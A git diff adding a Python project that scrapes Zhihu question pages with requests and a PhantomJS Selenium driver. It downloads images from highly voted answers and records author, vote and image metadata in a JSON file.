+    def _write_image_meta(self):
+        result = []
+        meta_file = os.path.join(basedir, 'image_meta.json')
+        while True:
+            item = self.answer_queue.get()  # get image item from answer queue
+            result.append(item)
+            if len(result) == 10:
+                if not os.path.isfile(meta_file):
+                    with open(meta_file, 'w') as json_file:
+                        json.dump(result, json_file, indent=4, ensure_ascii=False)
+                else:
+                    with open(meta_file, 'r') as json_file:
+                        try:
+                            entrys = json.load(json_file)  # append to json file, if Exception, return []
+                        except ValueError:
+                            entrys = []
+                    with open(meta_file, 'w') as json_file:
+                        entrys.extend(result)
+                        entrys.sort(key=lambda x: x['vote'], reverse=True)
+                        json.dump(entrys, json_file, indent=4, ensure_ascii=False)
+                result = []
+                Logger.info('Dump URL Resource to {}'.format(meta_file))
+
+    def _parse_answers(self, answers, title):
+        for answer in answers:
+            images = _filter_answer(answer)
+            author_name, author_url, vote = _get_attr(answer)
+            if images:
+                for image in images:
+                    src, width, height = image  # unpack image tuple
+                    answer_path = os.path.join('data', title, author_name + '_赞同_{}'.format(vote))
+                    path = os.path.join(basedir, answer_path)
+                    if not os.path.isdir(path):
+                        os.makedirs(path)
+                        Logger.info('{} Not Exists, Created'.format(path))
+                    image_path = src.split('/')[-1]
+                    abs_path = os.path.join(path, image_path)
+                    _get_image(src, abs_path)
+                    attrs = {'author_name': author_name, 'author_url': author_url, 'vote': vote,
+                             'src': os.path.join('/', answer_path, image_path), 'width': width, 'height': height}
+                    self.answer_queue.put(attrs)  # put answer attr to thread queue
+                    Logger.info('Download Image to {}'.format(image_path))
+
+    def _run(self):
+        while True:
+            item = self.q.get()  # block, get url from url generator
+            url, title = item.get('url'), item.get('title')
+            bs_obj = _to_bs(self._get_page(url))  # page source to bs4 object
+            Thread(target=self._parse_answers, args=(_get_answers(bs_obj), title)).start()  # start thread handle answer
+        Logger.info('Finished, No More Resource')
+
+    def run(self):
+        Thread(target=self._write_image_meta, name='write-image').start()  # listen image download with app start
+        self._run()
diff --git a/zhihu_fun/zhihu_fun/netlib/__init__.py b/zhihu_fun/zhihu_fun/netlib/__init__.py
new file mode 100644
index 00000000..e69de29b
diff --git a/zhihu_fun/zhihu_fun/netlib/requests.py b/zhihu_fun/zhihu_fun/netlib/requests.py
new file mode 100644
index 00000000..c2333846
--- /dev/null
+++ b/zhihu_fun/zhihu_fun/netlib/requests.py
@@ -0,0 +1,15 @@
+import requests
+import shutil
+from ..toollib.basic import _get_headers, _get_cookies
+
+
+def my_session():
+    session = requests.Session()
+    session.get('https://www.zhihu.com', cookies=_get_cookies(), headers=_get_headers())
+    return session
+
+
+def _get_image(url, path):
+    res = requests.get(url, stream=True)
+    with open(path, 'wb') as f:
+        shutil.copyfileobj(res.raw, f)
diff --git a/zhihu_fun/zhihu_fun/netlib/selenium.py b/zhihu_fun/zhihu_fun/netlib/selenium.py
new file mode 100644
index 00000000..0d6b6545
--- /dev/null
+++ b/zhihu_fun/zhihu_fun/netlib/selenium.py
@@ -0,0 +1,88 @@
+from selenium import webdriver
+from selenium.webdriver.common.desired_capabilities import DesiredCapabilities
+from selenium.common.exceptions import TimeoutException
+from selenium.webdriver.common.by import By
+from selenium.webdriver.support.ui import WebDriverWait
+from selenium.webdriver.support import expected_conditions as EC
+from time import sleep
+from ..netlib.requests import my_session
+from ..toollib.basic import _get_user_agent
+from ..toollib.bs import _to_bs
+from ..toollib.logger import Logger
+from ..toollib.answer import _get_answers
+
+
+def _get_driver():
+    driver = webdriver.PhantomJS(desired_capabilities=_set_driver_ua())
+    Logger.info('Initialize PhantomJS Webdriver')
+    _set_cookies(driver, my_session().cookies)
+    Logger.info('Initialize Webdriver Cookies')
+    _set_driver_window_size(driver)
+    Logger.info('Initialize Webdriver Finished')
+    return driver
+
+
+def _set_driver_ua():
+    dcap = dict(DesiredCapabilities.PHANTOMJS)
+    dcap["phantomjs.page.settings.userAgent"] = (_get_user_agent())
+    return dcap
+
+
+def _set_cookies(driver, cookies):
+    for c in cookies:
+        driver.add_cookie({'name': c.name, 'value': c.value, 'path': c.path, 'expiry': c.expires, 'domain': c.domain})
+
+
+def _set_driver_window_size(driver):
+    driver.set_window_position(0, 0)
+    driver.set_window_size(1920, 1080)
+
+
+def _open_question_description(driver):
+    els = driver.find_elements_by_xpath(
+        '//button[@type="button"][@class="Button QuestionRichText-more Button--plain"]')
+    # if element not exist, find_elements is fast than find_element
+    if len(els) > 0:
+        Logger.info('{} Question Description Read More Button Found'.format(driver.current_url))
+        els[0].click()
+        Logger.info('Click Load More, Wait...')
+
+
+def _open_load_more(driver, recur_depth=0, max_depth=3):
+    recur_depth = recur_depth
+    if recur_depth > max_depth:
+        return
+    els = driver.find_elements_by_class_name('zu-button-more')
+    if len(els) > 0:
+        Logger.info('URL {} Found Load More Button'.format(driver.current_url))
+        els[0].click()
+        Logger.info('Click Load More, Wait...')
+        sleep(1)
+        return _open_load_more(driver, recur_depth + 1)
+
+
+def _get_question_h4_answer_count(driver):
+    return int(driver.find_element_by_class_name('List-headerText').text.split(' ')[0])
+
+
+def _open_question_load_more(driver, recur_depth=1, max_depth=10):
+    answer_count = len(_get_answers(_to_bs(driver.page_source)))
+    recur_depth = recur_depth
+    if recur_depth > max_depth:
+        return
+    try:
+        title_count = _get_question_h4_answer_count(driver)
+        if title_count > 20 and answer_count < title_count:
+            WebDriverWait(driver, 10).until(
+                EC.presence_of_all_elements_located((By.XPATH, '//button[@class="Button QuestionMainAction"]')))
+    except TimeoutException:
+        Logger.error('Question {} Load More Timeout'.format(driver.current_url))
+    els = driver.find_elements_by_xpath('//button[@class="Button QuestionMainAction"]')
+    if len(els) > 0:
+        Logger.info('Question {} Found Load More Button'.format(driver.current_url))
+        els[0].click()
+        Logger.info('Click Load More, Wait...')
+        sleep(1)
+        return _open_question_load_more(driver, recur_depth + 1)
+    answer_count = len(_get_answers(_to_bs(driver.page_source)))
+    Logger.info('Summary: Question {} Answer Count {}'.format(driver.current_url, answer_count))
diff --git a/zhihu_fun/zhihu_fun/toollib/__init__.py b/zhihu_fun/zhihu_fun/toollib/__init__.py
new file mode 100644
index 00000000..e69de29b
diff --git a/zhihu_fun/zhihu_fun/toollib/answer.py b/zhihu_fun/zhihu_fun/toollib/answer.py
new file mode 100644
index 00000000..ca855003
--- /dev/null
+++ b/zhihu_fun/zhihu_fun/toollib/answer.py
@@ -0,0 +1,64 @@
+from ..toollib.bs import _to_bs
+from ..config import config
+import os
+
+vote_up = config.get('vote_up')
+
+
+def _get_author_info(bs_obj):
+    ret = bs_obj.find('div', {'class': 'AuthorInfo'}).find_all('a')
+    if ret:
+        return ret[-1]
+    return '匿名用户'
+
+
+def _get_author_name(bs_obj):
+    ret = _get_author_info(bs_obj)
+    if ret == '匿名用户':
+        return '匿名用户'
+    return ret.text
+
+
+def _get_author_url(bs_obj):
+    ret = _get_author_info(bs_obj)
+    if ret == '匿名用户':
+        return ''
+    return ret.get('href')
+
+
+def _get_attr(bs_obj):
+    return _get_author_name(bs_obj), _get_author_url(bs_obj), _get_vote(bs_obj)
+
+
+def _get_vote(bs_obj):
+    return int(bs_obj.find('button', {'class': 'VoteButton--up'}).text)
+
+
+def _get_images(answer):
+    noscripts = answer.find_all('noscript')
+    if noscripts:
+        images = []
+        for item in noscripts:
+            bs_obj = _to_bs('<' + item.text.strip('&gt;').strip('lt;') + '/>')  # convert noscripts element to img
+            src, width, height = bs_obj.img.attrs.get('src').replace('_b', ''), bs_obj.img.attrs.get(
+                'data-rawwidth'), bs_obj.img.attrs.get('data-rawheight')
+            images.append((src, width, height))
+        return images
+    return noscripts
+
+
+def _get_answers(bs_obj):
+    ret = []
+    for item in bs_obj.find_all('div', {'class': 'List-item'}):
+        if len(item.attrs.get('class')) == 1:
+            ret.append(item)
+    return ret
+
+
+def _filter_answer(bs_obj):
+    if _get_vote(bs_obj) < vote_up:
+        return
+    images = _get_images(bs_obj)
+    if not images:
+        return
+    return images
diff --git a/zhihu_fun/zhihu_fun/toollib/basic.py b/zhihu_fun/zhihu_fun/toollib/basic.py
new file mode 100644
index 00000000..3bde7e2c
--- /dev/null
+++ b/zhihu_fun/zhihu_fun/toollib/basic.py
@@ -0,0 +1,16 @@
+from ..config import config
+from http.cookies import SimpleCookie
+
+
+def _get_user_agent():
+    return config.get('user-agent')
+
+
+def _get_headers():
+    return {'User-Agent': _get_user_agent()}
+
+
+def _get_cookies():
+    cookie = SimpleCookie()
+    cookie.load(config.get('cookie'))
+    return {key: morsel.value for key, morsel in cookie.items()}
diff --git a/zhihu_fun/zhihu_fun/toollib/bs.py b/zhihu_fun/zhihu_fun/toollib/bs.py
new file mode 100644
index 00000000..0f24db39
--- /dev/null
+++ b/zhihu_fun/zhihu_fun/toollib/bs.py
@@ -0,0 +1,8 @@
+from bs4 import BeautifulSoup
+
+
+def _to_bs(page):
+    return BeautifulSoup(page, 'lxml')
+
+
+
diff --git a/zhihu_fun/zhihu_fun/toollib/dec.py b/zhihu_fun/zhihu_fun/toollib/dec.py
new file mode 100644
index 00000000..0b5b6c30
--- /dev/null
+++ b/zhihu_fun/zhihu_fun/toollib/dec.py
@@ -0,0 +1,14 @@
+from functools import wraps
+from .logger import Logger
+from time import time
+
+
+def time_dec(fn):
+    @wraps(fn)
+    def wrapper(*args, **kwargs):
+        start_time = time()
+        ret = fn(*args, **kwargs)
+        Logger.debug('Function {}, Total Seconds {}'.format(fn.__qualname__, time() - start_time))
+        return ret
+
+    return wrapper
diff --git a/zhihu_fun/zhihu_fun/toollib/logger.py b/zhihu_fun/zhihu_fun/toollib/logger.py
new file mode 100644
index 00000000..5df7d2bc
--- /dev/null
+++ b/zhihu_fun/zhihu_fun/toollib/logger.py
@@ -0,0 +1,22 @@
+import logging
+from ..config import config
+
+log_level = config.get('log_level')
+
+
+def get_logger(level):
+    logging.basicConfig(level=logging.DEBUG,
+                        format='%(asctime)s %(levelname)s [%(processName)s] [%(threadName)s] - %(message)s')
+    Logger = logging.getLogger()
+
+    if log_level == 'debug':
+        level = logging.DEBUG
+    elif log_level == 'info':
+        level = logging.INFO
+    else:
+        level = logging.WARNING
+    Logger.setLevel(level)
+    return Logger
+
+
+Logger = get_logger(log_level)
diff --git a/zhihu_fun/zhihu_fun/toollib/question.py b/zhihu_fun/zhihu_fun/toollib/question.py
new file mode 100644
index 00000000..8c856361
--- /dev/null
+++ b/zhihu_fun/zhihu_fun/toollib/question.py
@@ -0,0 +1,42 @@
+import re
+from ..config import config
+from .logger import Logger
+
+ROOTURL = config.get('root_url')
+
+
+def _get_questions(bs_obj):
+    return bs_obj.find_all('a', href=re.compile('.*/question/[0-9]+'))
+
+
+def _get_question_url(bs_obj):
+    return ROOTURL + re.compile('.*(/question/[0-9]+).*$').match(bs_obj.get('href')).groups()[0]
+
+
+def _get_question_title(bs_obj):
+    if bs_obj.get('href'):
+        ret = bs_obj.text.replace('\n', '')
+        if [s for s in ret.split('- ', -1) if '的回答' in s]:
+            return ret.split('- ')[0].replace('?', '？')  # replace ? to ？
+        return ret.replace('?', '？')
+    return bs_obj.find('h1', {'class': 'QuestionHeader-title'}).text.replace('?', '？')
+
+
+def _filter_question(bs_obj, keyword_number=1):
+    title = _get_question_title(bs_obj)
+    count = 0
+    for key in config.get('blacklist'):
+        if key in title:
+            Logger.debug('Title {} Ignore, Match BlackList {}'.format(title, key))
+            return False
+    for key in config.get('keyword'):
+        if key in title:
+            count += 1
+            keys = []
+            if count == keyword_number:
+                Logger.debug('Title {} Macthed, Key {}'.format(title, key))
+                keys.append(key)
+                return keys
+            keys.append(key)
+            Logger.debug('Title {} Macthed, Key {}, But Count not end'.format(title, key))
+    return []